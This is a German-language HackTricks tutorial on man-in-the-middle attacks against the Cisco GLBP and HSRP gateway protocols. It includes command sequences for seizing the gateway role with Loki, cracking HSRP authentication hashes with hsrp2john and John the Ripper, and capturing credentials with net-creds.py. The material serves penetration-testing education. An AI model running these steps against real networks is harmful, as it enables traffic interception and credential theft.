GLBP & HSRP Angriffe

Reading time: 7 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

FHRP Hijacking Übersicht

Einblicke in FHRP

FHRP wurde entwickelt, um die Netzwerkrobustheit zu gewährleisten, indem mehrere Router zu einer einzigen virtuellen Einheit zusammengeführt werden, wodurch die Lastverteilung und Fehlertoleranz verbessert werden. Cisco Systems führte in dieser Suite bedeutende Protokolle wie GLBP und HSRP ein.

GLBP Protokoll Einblicke

Ciscos Kreation, GLBP, funktioniert im TCP/IP-Stack und nutzt UDP auf Port 3222 für die Kommunikation. Router in einer GLBP-Gruppe tauschen alle 3 Sekunden "Hallo"-Pakete aus. Wenn ein Router diese Pakete 10 Sekunden lang nicht sendet, wird angenommen, dass er offline ist. Diese Timer sind jedoch nicht fest und können geändert werden.

GLBP Operationen und Lastverteilung

GLBP zeichnet sich dadurch aus, dass es eine Lastverteilung über Router hinweg ermöglicht, indem eine einzige virtuelle IP mit mehreren virtuellen MAC-Adressen kombiniert wird. In einer GLBP-Gruppe ist jeder Router am Paketweiterleitungsprozess beteiligt. Im Gegensatz zu HSRP/VRRP bietet GLBP echtes Lastenausgleich durch mehrere Mechanismen:

  • Host-abhängige Lastverteilung: Beibehaltung einer konsistenten AVF-MAC-Adresse für einen Host, die für stabile NAT-Konfigurationen entscheidend ist.
  • Round-Robin-Lastverteilung: Der Standardansatz, der die Zuweisung der AVF-MAC-Adresse zwischen anfordernden Hosts wechselt.
  • Gewichtete Round-Robin-Lastverteilung: Verteilung der Last basierend auf vordefinierten "Gewicht"-Metriken.

Schlüsselkomponenten und Terminologien in GLBP

  • AVG (Aktiver virtueller Gateway): Der Hauptrouter, verantwortlich für die Zuweisung von MAC-Adressen an Peer-Router.
  • AVF (Aktiver virtueller Weiterleiter): Ein Router, der für die Verwaltung des Netzwerkverkehrs zuständig ist.
  • GLBP Priorität: Eine Metrik, die den AVG bestimmt, beginnend bei einem Standardwert von 100 und im Bereich von 1 bis 255.
  • GLBP Gewicht: Spiegelt die aktuelle Last auf einem Router wider, die entweder manuell oder durch Object Tracking angepasst werden kann.
  • GLBP Virtuelle IP-Adresse: Dient als Standardgateway des Netzwerks für alle angeschlossenen Geräte.

Für Interaktionen verwendet GLBP die reservierte Multicast-Adresse 224.0.0.102 und UDP-Port 3222. Router senden alle 3 Sekunden "Hallo"-Pakete und werden als nicht betriebsbereit angesehen, wenn ein Paket über einen Zeitraum von 10 Sekunden fehlt.

GLBP Angriffsmechanismus

Ein Angreifer kann der primäre Router werden, indem er ein GLBP-Paket mit dem höchsten Prioritätswert (255) sendet. Dies kann zu DoS- oder MITM-Angriffen führen, die es ermöglichen, den Datenverkehr abzufangen oder umzuleiten.

Durchführung eines GLBP-Angriffs mit Loki

Loki kann einen GLBP-Angriff durchführen, indem ein Paket mit Priorität und Gewicht auf 255 gesetzt injiziert wird. Vor den Angriffsschritten müssen Informationen wie die virtuelle IP-Adresse, das Vorhandensein von Authentifizierung und die Router-Prioritätswerte mit Tools wie Wireshark gesammelt werden.

Angriffsschritte:

  1. Wechseln Sie in den Promiscuous-Modus und aktivieren Sie das IP-Forwarding.
  2. Identifizieren Sie den Zielrouter und rufen Sie seine IP ab.
  3. Generieren Sie ein Gratuitous ARP.
  4. Injizieren Sie ein bösartiges GLBP-Paket, das den AVG impersoniert.
  5. Weisen Sie der Netzwerkoberfläche des Angreifers eine sekundäre IP-Adresse zu, die der GLBP-virtuellen IP entspricht.
  6. Implementieren Sie SNAT für vollständige Verkehrssichtbarkeit.
  7. Passen Sie das Routing an, um den fortgesetzten Internetzugang über den ursprünglichen AVG-Router sicherzustellen.

Durch das Befolgen dieser Schritte positioniert sich der Angreifer als "Man-in-the-Middle", der in der Lage ist, Netzwerkverkehr abzufangen und zu analysieren, einschließlich unverschlüsselter oder sensibler Daten.

Zur Demonstration hier die erforderlichen Befehls-Snippets:

bash
# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1

# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100

Monitoring und Abfangen von Datenverkehr kann mit net-creds.py oder ähnlichen Tools durchgeführt werden, um Daten zu erfassen und zu analysieren, die durch das kompromittierte Netzwerk fließen.

Passive Erklärung des HSRP-Hijackings mit Befehlsdetails

Übersicht über HSRP (Hot Standby Router/Redundancy Protocol)

HSRP ist ein proprietäres Protokoll von Cisco, das für die Redundanz von Netzwerk-Gateways entwickelt wurde. Es ermöglicht die Konfiguration mehrerer physischer Router zu einer einzigen logischen Einheit mit einer gemeinsamen IP-Adresse. Diese logische Einheit wird von einem primären Router verwaltet, der für die Verkehrslenkung verantwortlich ist. Im Gegensatz zu GLBP, das Metriken wie Priorität und Gewicht für die Lastverteilung verwendet, verlässt sich HSRP auf einen einzigen aktiven Router für das Verkehrsmanagement.

Rollen und Terminologie in HSRP

  • HSRP Aktiver Router: Das Gerät, das als Gateway fungiert und den Datenverkehr verwaltet.
  • HSRP Standby Router: Ein Backup-Router, der bereit ist, die Rolle zu übernehmen, wenn der aktive Router ausfällt.
  • HSRP Gruppe: Eine Gruppe von Routern, die zusammenarbeiten, um einen einzigen resilienten virtuellen Router zu bilden.
  • HSRP MAC-Adresse: Eine virtuelle MAC-Adresse, die dem logischen Router in der HSRP-Konfiguration zugewiesen ist.
  • HSRP Virtuelle IP-Adresse: Die virtuelle IP-Adresse der HSRP-Gruppe, die als Standardgateway für verbundene Geräte fungiert.

HSRP-Versionen

HSRP gibt es in zwei Versionen, HSRPv1 und HSRPv2, die sich hauptsächlich in der Gruppenkapazität, der Verwendung von Multicast-IP und der Struktur der virtuellen MAC-Adresse unterscheiden. Das Protokoll verwendet spezifische Multicast-IP-Adressen für den Austausch von Dienstinformationen, wobei alle 3 Sekunden Hello-Pakete gesendet werden. Ein Router wird als inaktiv angesehen, wenn innerhalb eines 10-Sekunden-Intervalls kein Paket empfangen wird.

HSRP-Angriffsmechanismus

HSRP-Angriffe beinhalten das gewaltsame Übernehmen der Rolle des aktiven Routers durch das Injizieren eines maximalen Prioritätswerts. Dies kann zu einem Man-In-The-Middle (MITM)-Angriff führen. Wesentliche Schritte vor dem Angriff umfassen das Sammeln von Daten über die HSRP-Konfiguration, was mit Wireshark zur Verkehrsanalysierung durchgeführt werden kann.

Schritte zum Umgehen der HSRP-Authentifizierung

  1. Speichern Sie den Netzwerkverkehr, der HSRP-Daten enthält, als .pcap-Datei.
shell
tcpdump -w hsrp_traffic.pcap
  1. Extrahieren Sie MD5-Hashes aus der .pcap-Datei mit hsrp2john.py.
shell
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
  1. Knacken Sie die MD5-Hashes mit John the Ripper.
shell
john --wordlist=mywordlist.txt hsrp_hashes

Ausführen der HSRP-Injektion mit Loki

  1. Starten Sie Loki, um HSRP-Werbung zu identifizieren.
  2. Setzen Sie die Netzwerkschnittstelle in den Promiscuous-Modus und aktivieren Sie das IP-Forwarding.
shell
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
  1. Verwenden Sie Loki, um den spezifischen Router anzuvisieren, geben Sie das geknackte HSRP-Passwort ein und führen Sie die erforderlichen Konfigurationen durch, um den aktiven Router zu impersonieren.
  2. Nachdem Sie die Rolle des aktiven Routers übernommen haben, konfigurieren Sie Ihre Netzwerkschnittstelle und IP-Tabellen, um den legitimen Datenverkehr abzufangen.
shell
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  1. Ändern Sie die Routing-Tabelle, um den Datenverkehr über den ehemaligen aktiven Router zu leiten.
shell
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
  1. Verwenden Sie net-creds.py oder ein ähnliches Dienstprogramm, um Anmeldeinformationen aus dem abgefangenen Datenverkehr zu erfassen.
shell
sudo python2 net-creds.py -i eth0

Das Ausführen dieser Schritte versetzt den Angreifer in die Lage, den Datenverkehr abzufangen und zu manipulieren, ähnlich wie beim Verfahren für GLBP-Hijacking. Dies hebt die Verwundbarkeit in Redundanzprotokollen wie HSRP und die Notwendigkeit robuster Sicherheitsmaßnahmen hervor.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks